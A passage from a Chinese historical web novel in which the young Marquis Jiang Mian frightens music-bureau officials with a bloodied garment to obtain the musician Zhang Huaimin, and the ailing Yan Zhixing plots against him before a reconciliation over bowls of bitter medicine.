孔韵连同韶舞瞬间收了打量的眼神,只盯着自己脚下,进了门认真见礼,起身这才瞧清了上位的威远侯,江眠。 好一个俊俏的少年郎,目如寒星肤白唇红,若是没有歪斜着身子坐在椅子上,耷着眼皮用一种似笑非笑的目光来回地睨她们,孔韵脸上的笑意都会坦然许多,不若眼下局促。 但到底是教坊老人了,定了定神,孔韵张嘴便是赔罪。 首要说的自然是那幌子,昨日得罪江眠的教坊乐工,一套套的赔礼词不论,昨日的开销打赏教坊通通包下的同时,还额外再奉上五百金给江眠压惊,望他海涵。 承吉接过第一个匣子,打开来捧到威远侯眼前,江眠的眼神只往上搭了下,便轻飘飘地挪开了去,不置可否。 孔韵心头打鼓,脸上仍旧堆满了笑,说起那身被糟蹋了的衣袍。 又一个大些的匣子被递了上去,承吉打开一瞧,看向如意,如意立即上前同他一道清点,内里没有金银,却放着一张张面额不菲的银票,两人点过对齐数目,承吉在江眠耳边低语了几句。 前些时日胡乱开口喊的五千金,教坊全送来了不说,还又往里添了些给他消火。 江眠一下子坐直了身,承吉将匣子捧到他跟前,江眠当着孔韵的面一把抓出银票一张一张地点过,讶异道:“五千五百金,比原报的还多出五百金?教坊的钱果然是大风刮来的。” 银票往匣子里一丢,江眠笑得促狭,“如此看来教坊也不是真穷啊。” 看着那随意丢掷的动作,孔韵又将嘴角竭力往上提了提,“侯爷说笑了,哪里会有大风刮来的银钱,只不过是我教坊的不是,不论价高几何,都不能让侯爷吃了暗亏不是?自当我教坊一力承当。” 江眠哼笑,脸上笑意更浓,直瞅得孔韵背脊发毛道:“说得好,衣袍的事情了了,那就该说说章怀闵了,他冲撞我的事教坊怎么说?” “他本是罪籍没入教坊,还尚未调教好,便在外冲撞了侯爷,要打要罚都是应该的。” “好!”江眠忽然一拍手:“这么说,我怎么罚他教坊都认?” 孔韵对上那言笑晏晏的脸孔,心也开始乱跳,“侯爷贵为宗室子,又岂会胡乱责处,教坊自是全听侯爷的。” 江眠却对这顶高帽过耳不闻,扭头看向如意,如意抬高手拍了拍,“呈上来。” 须臾一仆佣捧着个木盘快步上前,跪在江眠侧下,将木盘高高举过头顶。 孔韵瞥了一眼,却见是一捧雪白麻布……怎么那么像中衣……还没来得及细想,江眠身边的成祥上前,抓起那一团丢在地上,随着布料的舒展孔韵瞳仁骤然收缩。 确乎是一件中衣,就是上面零零散散的多了许多条深褐色痕迹,像是……像是…… 江眠:“这是一件血衣。” “!” “原本我也不想的,孰料他身子骨那么弱,抽了十鞭子,晚上连夜高烧,人就没了。” 语气仍是轻描淡写的,但孔韵看着脚下破烂的中衣,和上面已经发乌发黑的血渍,还有抽得破烂染血的布料缺口,鼻息间彷佛已经嗅闻到了一股不同寻常的腥甜气息,肺腑内顿时翻涌起阵阵呕意,搅得她人都木了。 江眠:“尸身就不好抬上来了,要看一会儿也可以带你们去,上面的十鞭子需要数数吗?成祥。” 刚唤得一声,孔韵这才像是如梦初醒,蓦的往后退了好几步,抚着胸口惊魂未定,“不不,不用,不用劳烦侯爷了。”说完没忍住,头撇向一侧捂着嘴连连干呕了好几下。 和她同来的韶舞反应快些,在听到血衣的时候已经退远了去。 但此刻也是面如菜色,神情怔怔。 江眠:“我这人虽认死理了些,但一贯不爱占人便宜,既是在我府里没的,不若你们将这乐工的身契籍契卖与我公主府,你们今日的赔礼我全数退还不说,还能再陪一笔银子当赎身钱给教坊,如何?” 孔 韵语窒。 江眠:“若是官府来验,也不过是一具尸身,造册登记了事,教坊赔了我这么一大笔不说,近日火灾重建的开支也不小吧?不若我们互相卖个好,大事化小可否?” 孔韵张了几次嘴,上下牙关都有些打颤道,“他、他都没了,侯爷缘何还要再花费银钱?” 江眠脸色却陡然一沉,气势慑人站起,“明知故问!哪怕他该死,我也是正当罚下去,宗室子打死人是什么好听的事吗?!官府来验必然造册,再传回都城与北疆,谁知道苏州官场能编排成什么样子?长公主府同江家向来偏安一隅,若是被人拿了由头煽风点火……你还要我说下去吗?” “妾身不敢。” 孔韵扑通跪下,连着身后的人也跪成一片。 江眠不耐烦地踱步,“行了,事已至此,就说卖不卖吧?” “妾、妾身……”孔韵脑子一团乱,奉銮交代的话和眼前的血衣交织,舌头也打了结。 “教坊向来见钱眼开,如今还能转了性?不会是你们对我记恨于心,想拿着这人出去传些什么对我不利的话吧?” “妾身不敢!” “那就把身契籍契卖来,多给你们五百金。” “侯爷……” 江眠挑了挑下巴,抱手道,“一千金。” 孔韵额上汗出如豆,头顶声音愈发不耐烦,“怎么,如今教坊胃口这么大,还想狠宰我一笔不成?!” “教坊不敢!” “多少?说。” “侯爷!”孔韵猛的整个身体前伏,行了个跪拜大礼,颤声道:“并非妾身不愿,也非教坊坐地起价,实在是这人并非我手下乐工,若需决定去留,还需奉銮做主,请容我回教坊禀报。” 江眠脚步一定,笑了。 “左司乐丧命火中后,他手下的乐工悉数都暂由你代管,你同我说章怀闵不是你手下乐工?” 孔韵脸瞬间又白了一层,还欲再辩,却听得头顶的声音陡然松缓,“行了起来吧。” “尸身要去看看吗?” 孔韵心头打鼓,七上八下的,“若、若是府中方便,我等自然……” 话被头顶又一声讥笑打断,江眠施施然坐回了椅子上,“好了,骗你们的。人还好好在我府上呢,自然也没有什么尸身能给你们查验。” 啊? “紧张什么,一茬一茬的协同官来我府上耍嘴皮子哭穷,就不许我开个玩笑?” 玩笑?! 孔韵是真回不过神,伏在地上的身子冰冷,脑子也木讷得紧。 不会起来后又翻脸吧?天爷耶,这贵人到底是个什么脾性?! 她不起来,如意却过来不由分说将她拽起了身,塞进了一旁的椅子里,一坐下,孔韵这才发现自己脚趴手软,差点没坐稳从椅子上滑下去。 等右韶舞也入座,下人奉了茶,喝得几口定神,再抬头,江眠仍旧是一副笑眯眯的模样,孔韵却每看一眼心都惊跳得厉害。 但该说的还是得说下去,“既是侯爷玩笑之语,那妾身们就当没听过,哈,哈哈,那章怀闵他可否……” 江眠笑着道:“打死是假,想买他却是真的。” 孔韵的假笑也僵住了,须臾又竭力堆笑,“侯爷可还是想惩处于他?若是想罚,却也不必破费,如何责备教坊都是认的。” “不卖是吧,听出来了。” 孔韵心头咯噔空跳一拍。 江眠:“不惩处。这人我带回来养了这么多日,上好的药材都填进去不少,还是我从府中带来的老太医日日看诊。如意。” 如意从手中摸出来一张清单递给孔韵,孔韵打开一看,当头就是百年老山参一株,竟是一份药材清单,越往后看越是心惊,都是市面上要价不菲的好药。 “就这样也还没好透呢,司乐可知我的意思?” “妾、妾身愚笨。” 江眠叹了口气,正身敛容道,“那就打开天窗说亮话,人我看上了,想弄来当个外室,开价吧。” 如意:“?” 成祥:“?” 树上挂着的崔九:“?!” 孔韵呆呆看着江眠,“啊???” 江眠笑:“这个司乐也做不了主?” “妾身,妾还需回教坊,待容禀奉銮……” “哼!” 啪的一声盖碗被扣在盏拖中,发出好大一声碰响,孔韵肩头一缩,下意识就想跪,刚有动作,手臂却死死被身侧如意扣住,动弹不得。 江眠面无表情道:“去岁秋,孔司乐曾携数位乐工舞伶前去周边镇上江员外家,为其老母贺寿演奏,员外于场上看中一舞姬,当场重金购下,舞姬当夜便随员外回府,后续身契籍契办理也并未回过教坊。” “州府到镇上来回怎么都得半天,那个时候司乐怎么不需要向奉銮禀报?” “去岁春,司乐手下一琵琶乐工被通判侄儿看上……” “前岁冬……” “乃至昨日开罪于我的乐工,也说只要我喜欢,一笔银子就能带他回府,桩桩件件,司乐还有什么可诡辩的吗?” 孔韵汗出如浆,瞠目结舌。 江眠站起身,如玉的脸上无甚表情,却分毫不损其赫赫威势,“章公子同我说他入教坊一事颇有蹊跷,原本我还不信。而今死的不卖,活的倒是也不卖,却不由得我不多想了。” 眼神一落,点在孔韵身上,孔韵只觉一阵寒气从脚底窜到天灵盖。 江眠:“教坊司乐,韶舞。” 目光往后落,韶舞身边无人看顾,倒是扑腾一声跪了下去。 江眠:“无品无阶之人,为难你们也没什么意思。” “一州教坊奉銮,不过也只是个九品小官,早不来,晚也不来,莫不是还等我去教坊拎他出来?下一次,不是你们奉銮亲来,就得是章怀闵的身契籍契前来,再搞些不相关的人堵门,那便休怪我带人打上教坊,可听清了?” 说完一拂袖,江眠冷冷道:“如意,送客。” 7. 动怒 崔九回禀的时候,宴知行刚拆了江眠早间遣人送来的一套笔,在宣纸上写心经凝神。 “打死了?”笔尖一顿,宴知行颇为意外,抬头往外看了眼。 今日风轻天晴,院子被阳光打照成金灿灿暖融融的一片,小丫头们在春光里支着网子捉蝴蝶,玩得不亦乐乎,瞧着都闹腾。 “教坊伎人最会巧言令色,看人下菜,温和的手段他们能给你来回不知打上几遍太极,他一开始就把事情说死,倒是很妙。” 说完又看了眼窗外,那个网兜在空中一动一动地半点都不肯消停,宴知行摇了摇头,喃喃,“他还会治下的手段?这府里佣人都快被纵得不知天高地厚了。” 言罢对崔九抬了抬声量,“继续说。” 崔九逐字逐句复诵,宴知行听得眼眉都扬了起来,“先给个下马威,把人吓半死,有趣。” “那血衣是假的?” 崔九:“事后如意姑娘说晦气,立刻差人烧了,属下跟去看了一眼,是真的。” “各地教坊对不听话的伎人多少都有体罚,是血还是别的,调教人的司乐韶舞们最是清楚,假的骗不过她们眼睛,只有真的方能震慑一二。 “至于血衣的来历,属下也听了一耳朵,说是春游在某员外府上做客时,撞见惩处下人,当时侯爷便要了来。” 踏青。 宴知行估了下时间,竟是他刚入府没多久。 那个时候江眠就想到今日了? 抬了抬手,宴知行示意继续。 崔九再度复述。 宴知行好笑:“死的不行又换成活买,这次江眠的由头又是什么?” 崔九闭了闭眼,一个字一个字仿着江眠的口吻背了一遍。 哗啦一下,宴知行笔头一斜,写了大半的心经临了,支出去了一笔。 抄写佛经需整篇字迹工整无错,最忌分心敷衍。 深吸一口气,宴知行手指根根握紧了笔身,“再说一遍,我没听清。” 崔九心头默念一句阿弥陀佛,抬高声量道:“小侯爷说,公子人他看上了,想弄来当个外室,让教坊开价。” 话落,久久悬在宣纸上的兼毫,笔尖聚集的墨汁滴落而下,好大一团砸在纸上,彻底污了这篇佛经。 “竖子无状,本宫迟早砍了他脑袋!” 毛笔被宴知行反手拍在案上,青玉笔身啪一声碎成两段,宴知行怒不可遏。 “公子您消消气。”崔九见势赶忙去倒水,捧着的温水刚端到宴知行跟前,果见自家主子掩唇咳嗽起来。 “这小侯爷一看就是被惯坏了。”“不过他说的也不一定是真的,万一就是一个由头呢?”“当然属下不是为他开脱的意思,不行回去就召这人进宫惩处,也就是一纸令下的事。” “再说公子您风姿无二,他倾慕您那也是他眼光独……” 最后一句没说完,杯子里的水便被泼到了他脸上,崔九:“。” “脑子清醒了?” “是属下口误,属下给公子换水。” 公子向来在意自己的病态,他这破嘴,说什么不好,也是被小侯爷那外室的言论吓破了胆,真是,小侯爷说什么不好,公子还让他重复……他能重复得利索吗……他也很怵啊! 心里嘀咕了不知道多少,面上恭恭敬敬把水双手奉到了宴知行手边。 接了水,宴知行:“继续。” 崔九这才抹了一把脸上的水,继续说。 这一次宴知行沉着脸听完了才开口,“如此试探,难为他那脑子能想出来。” 先来硬的,不行再来软的,若是都不行,那章怀闵背后必然还牵扯了其他势力。 比威远侯这个当朝超一品侯爵还要大的势力。 “带回了血衣,又知晓员外家小妾的来历,他那趟踏春倒是没少干事。” 甚至方方面面都考虑到了。 “若是今日来的不是右司乐,他恐怕还不会见。” “教坊肯定当他少不更事,面嫩可欺,却未料这段时间他已经把教坊的底细摸了个透,甚至不按常理出牌……单看他行事,却是老辣。” 崔九:“公主府此行中有一年长女官,侯爷日常唤一声周娘子,据传是长公主早年的陪嫁女官,今日许是有这位女官的手笔。” “……或许。” 今日本就难受,猛的动一下气,宴知行颞额两侧此刻更是突突地作疼。 又两杯水下肚,把剩下的零碎边角也听了,宴知行忽问:“外室这话,他后面还有提吗?” 崔九心咯噔一下,小心翼翼道:“人走之后,如意姑娘问过一遭,问小侯爷说要讨公子做……咳,那什么,是不是真心的?” “他怎么答?” 崔九再度闭眼,早死早超生,“小侯爷只回了两个字,回如意姑娘道,‘你猜’。” “……” 颞骨前关筋脉突突突地跳得更欢快了,宴知行按了按,完全不顶用。钻着脑袋地痛。 深深深吸一口气,宴知行咬牙:“迟早,本宫迟早赏他一顿板子尝尝。” * 宴知行的身体向来属于牵一发而动全身,气狠了,午间的饭食吃完,不多久竟是全都吐了出来,脸上将养许久的一点气色立刻衰败散尽,不多时便卧了床。 万太医来看过行过针,宴知行身体上的难受却没有丝毫转圜,反而愈演愈烈。 第一道清粥又吐了个干净。 趴在床沿,头发不受控的四散在旁,狼狈得紧,崔九知他爱洁,哪怕已经手忙脚乱了,仍分神关注着时不时把即将滑落的那些发丝往他背脊上捞。 但暗卫到底不比贴身伺候的宫侍,即便已经足够利索,宴知行还是觉得耳边哐哐哐的全是声音,搅得他本就不舒服的脑子越发生疼,苍白的指节死死抠住床沿,宴知行心内不断劝自己再忍忍,出门在外,况且已经是条件最好的一次外宿…… 却不起半分作用,崔九刚收拾完回来,便见宴知行控住不住地俯身再呕。 胃里早已空了。 吐到最后,面如金纸,眼眶浸着泪变成骇然的猩红颜色,吐出来的全是酸水,烧灼着喉咙唇舌,哪怕用清水反复漱过,宴知行仍旧能尝到嗅到那彷佛是从自己身体内部透出来的涩苦气味。 真讨厌啊。 人半躺着换着气,有几个瞬间,宴知行的魂魄好似飘了起来,轻轻的,再感知不到四肢百骸的苦痛。 “公子。”新的清粥又送来了,崔九捧着碗低声道:“喝点米汤镇镇胃吧?” 米汤能压酸水。 跟在他身边的人都知道。 宴知行黑沉沉的眸子轻轻转了转,落在崔九手里,崔九瞧见他这副木然的神情心中霎时警铃大作,什么话都不敢再说,心提到嗓子眼捧着碗恭敬候着。 时间一分一秒过去,好半晌,宴知行没说话,但张了张嘴。 崔九如蒙大赦,赶紧仔细着服侍。 也没吃几口,宴知行便别过了脸,说想睡,崔九伺候着他躺下。 等了会儿不见宴知行再起身,忙活半晌的崔九终于松了口气,搬了张椅子坐在床侧视线死角处歇会儿,在安静里一不留神便眯着了,再有意识,听得房内有人说话,透过层层纱帐,崔九瞧见宴知行不知何时起了身,黑漆漆的头发披散在背后,只着一身雪白的中衣幽幽站着,心下惊跳,人瞬间清醒了过来。 “温了些粥送来,还有今日的药该喝了,小侯爷特意叮嘱过……要公子喝的。”不知道是不是宴知行的神情太骇人,说到最后,小丫头舌头打结,声音带着点怵。 “又是江眠……”宴知行喃喃,耷着眼皮直直看着那碗腾腾冒着白气的乌黑药汁,视线 一瞬不瞬,看得小丫头心里直打鼓。 等人离开,崔九轻手轻脚走出去,便见桌上放着一碗清粥一碗药,宴知行站在桌前,布满血丝的眼里彷佛只瞧得见那碗药一般,用一种又沉又深的目光死死锁着,眼眶泛出血红的色泽。 崔九想说些什么,便见宴知行抬手按额角,声音从牙缝里迸出,“又是他……” 这下崔九也不敢开口了。 “崔九,我记得,暗卫身上都带有毒针?” 崔九赶紧应是。 宴知行又去看那碗药,蓦的道,“我们今日便离开吧。” 他在这里待够了。 只放着这么一会儿,满屋子便都弥漫起一股子药汁的苦涩气味,挥之不去。 令人作呕。 扰得他身心都不得安宁, 生烦、生厌,肺腑都搅起,头又痛,他…… 嘶的一声,宴知行皱眉掌心按着头,身形微微晃了下。 等那一阵晕眩的感觉过去,额间密密渗出了一层冷汗,而眼前的场景再度凝实,入目所及,还是那碗药。 宴知行换了口气,声音也是虚飘着的: “他已放出话去要保章怀闵,‘章怀闵’要是在府里被劫走,江眠再出点事,应该就能把江家并长公主府,同怀闵一案撇清关系了。” 崔九心头一悚,“但针上抹的都是奇毒,公子是要……” 话说得快了些,被宴知行沉沉一眼扫过来,崔九立刻低下了头。 “你慌什么?” 崔九:“……” 摆了摆手,宴知行恹恹:“你今天最好不好再失手。” “……” “下去准备吧。” 说完,将眼前那一碗恼人的药抬手一扬,尽数泼到了地上。 仆佣再进门,粥喝完了,药在地上,小丫头瞪大了眼。 知道宴知行喜静,也不敢去闹现在难受的他,思索半晌,收了东西,小丫头噔噔噔地往主院里跑,找如意姑娘去。 如意听了咂舌:“真倒了?脾气大不是说说的啊!” “无碍,你再熬就是,他要是再倒了,你再来找我。” 两个时辰后,小丫头抱着空碗又来了。 “……” 如意:“再熬。下次你给他的时候,告诉他,教坊今日替他赔了五千五百金,他尽管倒,倒了再熬就是,全从教坊的银钱里出,公主府只费点人手,不碍事。” 小丫头应诺。 又一个时辰,又来了,这回手上没有空碗,如意:“喝了?” 小丫头摇了摇头,“公子说想看看教坊送来的银钱。” “行。” 如意答应得利索,立刻招手让人拿。 不出一刻,小丫头又捧着匣子回来了,唯一不同的是,这次哭红了眼。 如意搭眼一看,扶额。 得,这脾气是真大得不行,报小侯爷吧。 如意带人进门的时候,江眠正在写家书,正绞尽脑汁编些俏皮话逗公主开心呢,听得脚步声,鼻子比眼睛更灵:“什么味儿?谁来了?” “小侯爷,是我。” “如意……哟,怎么哭成这样,受什么委屈了?” 不问还好,一问,小丫头又掉了两颗金豆子,抽噎道:“是我不好,让公子污了这么多银钱。” 说着往下看去,江眠这才注意到她抱着个匣子,有点眼熟,记不起来了。 往里探了眼,江眠迟疑,从里面拎出一张被药汁浸透的银票:“这是,煮药的时候,不小心加了银票当药材?” 如意:“章公子不喝药。” 把前几次前情说完,最后道,“也是我不该激他,说完他就用药浇了银票。” “……”嘶。 如意摊手:“不然,还是小侯爷亲自去瞧瞧吧。” 8. 超级buff 宴知行在晚饭前等来了江眠。 听到成群的脚步声,门被推开的时候宴知行睁开了眼睛,往崔九藏身处瞥了眼,崔九被觑得头皮发紧。 江眠领头,身后的如意捧着一个托盘,上面有……整整两大碗,满满当当的药。 崔九:“……” 小侯爷,自求多福吧! 撩开幔帐,宴知行起身下床,踩到地面上也没什么实感,脚步像是漂浮着的一般走了出去。 打了个照面,江眠心头咯噔一下,脑子里想说的话一下子全清空了去。 眼前这人……怎么这样…… 眼睛几眨,确定不是自己发梦,江眠哑然。 印象里那个自来到偏院就衣冠齐整的公子,眼下模样和以往的数次见面都不一样。 或者说截然不同。 素白的中衣系带松垮垮的,往日里扣合得规规矩矩的衣襟也敞着,露出锁骨下的一片皮肤,外衣是披着的,或者说就虚虚搭在肩上,一副随时会滑落的样子。 整张脸都没有血色,惨白到极致,浅淡的唇也失了色,肉眼可见地发乌,那一双眼睛却是红的,从眼头开始,连着眼眶眼尾一片,全泛出一种反常的猩红色彩,和江眠对视一霎,江眠看见那双黑漆漆的瞳仁边上,眼白也弥漫起了细细如网的血丝。 不像是活的。 江眠去看他胸膛,视线停了好几息,才捕捉到浅浅的起伏。呼吸也是轻的。 神经还没放松,目光一挪,便又瞧见了脖颈上,锁骨上锁骨下,根根还新鲜的红痕。 江眠在对方身上见过,他自己抓出来的。 “……” 江眠竟是有些不敢说话了,连呼吸都凝滞了几息。 而江眠落在宴知行眼里,又是另一番模样。 今日的小侯爷轻装简行,没有再装扮得那么缤纷招摇,系了件薄薄的天青色披风,透着一股子雨后的清新,如意放下托盘,便上前来帮他脱披风,露出内里清水般透蓝色的菲薄春衫,只在领口做了白色的围边,腰间挂着一枚白玉,头顶也簪着成套的玉簪。 着装素净到了极致,偏生江眠的脸气血充足,双唇润红明眸善睐,对着如意笑了下,如画龙点睛般,整个人都因着这个笑透出一股子鲜活蓬勃的劲儿,灼灼不灭。 混乱里,相对而立,宴知行有一刻觉得自己好似在照镜子。 只不过照出来的是自己最不堪和狼狈的面目。 嘶。 眉心深褶一霎,宴知行晃了晃身形。 “公子……”江眠上前一步,手伸在半空中不得其法,宴知行又站稳了脚步。 沉沉的眼眉往下压了下,宴知行:“吵。” 声音完全哑掉了。 江眠心又抽了下,宴知行面色不善地看着如意及她身后一干仆佣。 江眠会意,摆手:“你们先下去吧。” 如意带着人退下。 等室内只剩了两人,江眠张嘴,“你……怎么样了?很难受吗?”声音也放得极轻。 近处那双红彤彤的眼,黑漆漆的眼珠子转到他脸上,顿了顿,宴知行却问他:“很热吗?” “嗯?” “你人红了。” 江眠这才反手摸了摸脸,果然是烫的,连着脖颈一片,都有点烫。 哪怕来前已经把中衣脱了,这屋子里的暖气还是蒸得他有些不习惯。 宴知行拉了拉外衣,听不出喜怒道:“我还觉着发冷。” 他动作慢,江眠却是个自来熟的,伸手一下子便帮他把衣服拉到了位,松开的时候宴知行还没回过神,江眠对他笑了下,毫不在意道,“你是病人嘛,等你好了也受不住的。” 又是那副讨喜讨巧的笑。 且理好就松了手,半点不曾停留,顺手而为得太过自然。 等宴知行生疼的脑子转过道来,不知何时江眠连水都倒好了,递到他手边,“润润嗓子。” 他说一句话,他倒是能做八百个动作。 宴知行恹恹地喝下两口水,目光一落,瞧见什么瞬间死死定住了视线。 桌子上,托盘内,并列摆放着两碗热气腾腾、冒着白烟、散发着苦涩气味的棕黑药汁。 宴知行眼睫垂落,再度掀起。他没看错。 药。又是药。整整两碗。 见宴知行神色不大对,江眠赶紧道:“午间的药你没喝,按时辰晚上的他们也熬好了,我就让人一起端来了。” 宴知行胸膛剧烈起伏一霎,扭头那黑漆漆的眼珠子一瞬不瞬钉住江眠,透不出一丝光来,“浇了银票,侯爷是来问罪的?” 江眠想也不想:“不是。” 宴知行面色稍缓,但还是带着种江眠说不出的沉郁。 数度深呼吸,勉强压下翻沸的情绪,宴知行苍白的手往身前递了递,“侯爷坐。” 江眠要就近坐下,宴知行却指了指他那边的凳子,“这处,是主位。” “其实不用讲究这些……”嘟囔了一句,见宴知行不收手,江眠还是坐了过去。 忽而眼前一花,【金刚不坏】的buff在头上陡然闪烁。 江眠:? 江眠下意识左右扫视,宴知行心头也是一突,耐着性子问他:“怎么了?是有哪里不适吗?” “不是,是……算了,没事。” 好怪,这个buff是他不喜欢受伤挂在身上的,上次来也闪,这次也闪,这屋子里就住了宴知行一个病人,还能有什么危险的东西不成? 【金刚不坏】 【金刚不坏】 江眠:“……” 算了,系统也时不时抽风,卡顿了吧。 不去管头上闪麻了的buff提示,江眠:“对了,药……” 刚说了一个字,便见宴知行闭目伸手按压颞骨,极为不舒服的样子,江眠想起身,宴知行却用那种很缓慢虚弱的声音问他:“能等一会儿吗?我不太舒服。” “好。” 就这样等了足足一刻钟,宴知行看他的眼神越来越怪。 江眠:“是我脸上有什么吗?” “……不是。” 宴知行又闭了闭眼,见血封喉的毒药换成了上好的麻药,起效这么慢的吗? 早知道不如用毒药算了……嘶,头又痛了……好烦。 又一刻钟。 再一刻钟。 宴知行的头还是那么痛。 但眼前的江眠仍旧那么 清醒,睁着一双流光溢彩的眼睛看着他,带着血气的一张脸上红扑扑的。 好烦。 终于再没借口让等,江眠开始说话,说了什么宴知行一个字都没听清,心里一边想着他就知道这人古怪得很,暗袭不成的;一面又觉得难受得生烦,生厌,耳边一旦有声音,心头躁闷更甚。 耳际开始耳鸣,如一根清亮的线一样嗡鸣着带走周遭所有声音。 听不到江眠说了什么,只见他端起了药。 宴知行也是受够了。 在这个府上所有的,他都受够了。 他本该好好养病的怎么就选了这么一个嘈杂喧闹又厌烦的地方?! 不过他这个病也没救了,在哪里养也都一样,迟早是要死的。 是了,好什么好? 不会好的,不可能再好了。 都一样,那又有什么药好喝的。 还那么苦,那么难以下咽。 江眠这样的人,康健如此,从小到大怕是都没喝过几回药吧? 就这样还来劝自己…… 他凭什么…… 等宴知行在喧闹纷拥的念头中回神,不知何时,他已经抢过了碗,掐着江眠白皙的下颌,给金尊玉贵的小侯爷硬灌了一口药入喉。 他动作太快,位置掐得准,灌得急,药汁撒了些出来的同时,江眠瞬间呛住,干咳了好几下,整张脸愈发的红艳不说,眼珠子也蒙上了一层雾气,鲜活得不像话。 宴知行愣愣看着江眠,用一种自己也陌生的语气道:“苦吧?” 江眠点头。 宴知行忽的笑了起来,“你要是把这碗喝干净,我就喝剩下的!” 江眠眼神动了动,“当真?” “对,如果你连这碗药都喝不下,就别再来劝……” 话没说完,只见那生着一张笑脸的少年端起他手里的碗,仰头咕嘟嘟就把药喝了个干净,放下给他看了眼,连底都没剩。 “……” 那双眼睛被苦出了些许清泪,直直看着他,很明净,很灵动。 罢罢罢! 头痛尖啸着瞬间又向他袭来,宴知行想笑,却笑不出,在无声又暴烈的耳鸣中,他径直端起了面前的药碗,遇上这人算他倒霉,他咎由自取! 不就是喝药吗!他从小就没断过,还能不如江眠不成?他喝! 碗刚抬起来,还没挨着唇,却被一双手抢过。 在宴知行怔然的目光里,江眠仰头,咕嘟嘟把剩下的一碗药又喝了个底掉。 喝完那双眼睛被生生苦出了泪来。 但不改清亮澄澈,直直地看着他。 该死的药没有了。 但江眠怎么又喝了一碗? “不想喝就不要喝了,我不是来逼你的。” “好了,我喝完了,你消气了吗?” 最后一句像是一根尖细的银针,噗嗤一下扎在了他心上,满胸膛鼓噪的郁气瞬息倾泻而出。 耳鸣回落,宴知行混乱嘈杂的脑子陡然一下,又复归于清明。 江眠脸上淌着泪,竟还对他笑了下:“好苦,舌头都苦麻了,”说着往外吐了吐,可怜兮兮的,“看在我这么惨的份上,你能消气了吗?” 9. 顺毛捋 后面这一句宴知行全听清了。 一个字都不落。 “……” 他在干什么? 不对,他自己……目光下落,虎口处还残留了少许因动作过大而溅出的药汁……他又干了些什么? 抬手按眉心,宴知行又感到一阵神魂抽离的眩晕感,呼出口浊气,用一种自己也搞不清的语气,干巴巴,木讷讷道:“……我喝药多了脾气不好。” 顿了顿,重复,“很不好。” 说完就悔了。 这又是在说什么蠢话? 他…… 眉心紧紧拧起,但这次不等他自乱阵脚,一个清冽的声音便打断道,“我知道啊,又没有怪你。” 怪罪? 他刚才是在思考这个? “这不是在让你发脾气吗!连喝两碗药诶,苦死我算了,你好些了吗?” 他甚至从这声音里听出了一丝笑意。 也是,江眠总是在笑着的。 哪怕在这种时候也不例外。 他刚刚也在对他笑。 宴知行按头的手缓缓放了下去,眼眶还是通红的,甚至比江眠刚见到他时还要可怖,眼白里密布起血丝,嘴唇泛起乌紫,整个人像是一副被抽干气血的水墨画般,只剩下最简单的白与黑。 他看着他。 但江眠不太确定自己在不在对方眼中,那眼神总是时不时地失焦。 “第二碗,我没让你喝。” 一个字一个字地说,瞧起来很费劲的模样。 江眠这下是真笑了,被逗笑,也坏心去逗人,“你就想说这个?那怪我动作快,怪我就喜欢喝药咯?” “……我不是这个意思。”嘴唇都抿成一条线,眉心又拧了起来。 江眠怕了他,赶紧拽回话题,“你还没答我话呢,还生气吗?舒服些了吗?” “能听见你说话了。” “!”不是,敢情之前……他就说对方怎么不回他话还灌他药,难怪! 眼珠一转,江眠不去纠结那些,但见宴知行安静了下来,神色也再没有方才那么不对劲,江眠轻声问他,“头还痛吗?” 宴知行下意识皱眉,江眠便懂了。 还是难受。 “别干站着,坐一会儿。”江眠去拉宴知行的手腕,刚一碰到,嘶了一声,“不是吧,怎么……”话没说完,但另一只手已经上去了,从小臂一路握持到接近手肘处,触手都是一样的冰凉。 这人身体怎么个事……明明都养那么久了…… 他觉得冷,宴知行也觉得他手心烫,但抵不住江眠动作快,思绪还在手臂烧灼的触碰上,再反应过来,已经被江眠按着坐了下去,抬起眼,一杯温水便被递到了跟前。 宴知行怔怔看了会儿,伸手接了过来。 江眠也给自己倒了杯,压中药,孰料刚入口,药味儿从胃里翻上来,立刻干呕,连着yue了好几下,抬头便见宴知行直直瞧着自己,神情也有了点难见的活人感。 “我真的是……yue,啊呸,呸呸……我真是好久没喝过中药了。” 宴知行:“苦吧?” “苦透了!你想笑就笑吧!” 说完便见宴知行唇角当真往上牵了牵。 “……”罢了,也算是博君一笑,不亏。 缓了口气,江眠在宴知行身边坐下,离得近了,细节便更为清晰,不止眼底血丝,嘴唇脸色的苍白,还有脖颈根根翻了痧的抓痕,皆无所遁形。 江眠重重叹了口气,伸手先给人把弄乱了的外袍拉好,在宴知行投来迟疑和思索的目光中,江眠道:“我是让人看着你喝药,但也说过,你可以尽管发脾气,不用憋着。” “那么,现在来说说,除了药,你还有什么讨厌的?” 宴知行很安静,江眠不确定他有没有听进去,只得反复道:“什么都可以,你不喜欢的,我来想办法改改如何?” “但前提是你得先说,你什么都不说,我是猜不到的。” 话还是很密,甚至他也有点跟不上,但凑近了,笑脸笑眼的,确实很难让人再生气。 宴知行看着这张脸,也想叹气。 若是换个旁的人来,不知道早打了多少板子下去。 “讨厌……这一屋子的药味,算吗?” “……算。” 几道药都被扬到了这地上,味儿能不大吗! 江眠那灿灿的眸子转了几下,流光溢彩的,“那,不然你去我那儿坐会儿?留点时间给下人们收拾,散药味也需要通风。剩下的过去了再慢慢说,如何?” 宴知行点了头。这屋子的药味实在是让人厌烦。 “行,不过主院地龙前几天就停了,要烧还要现起火……不对,你能吹风吗?算了,你先坐着,我出去让人问万太医去……你什么都别想,坐着歇会儿吧。” 嘀嘀咕咕一串,走前还给宴知行把杯子里水掺满了。 江眠推开门出去,宴知行迟滞的脑子才过完这一段话,耐着头疼,宴知行:“崔九。针。” 只几个字,但崔九到底是跟着他的老人了,门一合拢,一个身影立刻飘然而下。 …… 江眠回来得很快,主院现烧地龙,还需要一些时间才能热起来,江眠回来瞧见宴知行散着头发,问他需不需要稍微绑一下,宴知行这才意识到刚才自己一直都是披头散发的,点了头,江眠唤来如意。 如意做这些细致,绑的时候,江眠挑了一缕握在手心。 远看乌黑如墨,握在手心细瞧,还是能看到微微泛着不健康的黄,发尾也有不少劈叉,倒是对上了这人病怏怏的状态……将头发还给如意,江眠:“轻点,随便绑一下就行。” “喏。” 梁上一切尽收眼底的崔九:“……” 穿好衣服,系上一件带风帽的厚披风,宴知行从偏院转移到主院。空气流通起来,厚重的苦涩药味一散,如浓雾般蒙在宴知行心间的那种窒息不悦感终于缓缓褪去,身体不适感觉变清晰的同时,思绪也渐渐变得清明。 也是怪,在他房里嘴巴就没停过的江眠,回了主院,反倒一改前态地闭了嘴。 安静点好。 安静下来,宴知行感受上又舒缓了一些。 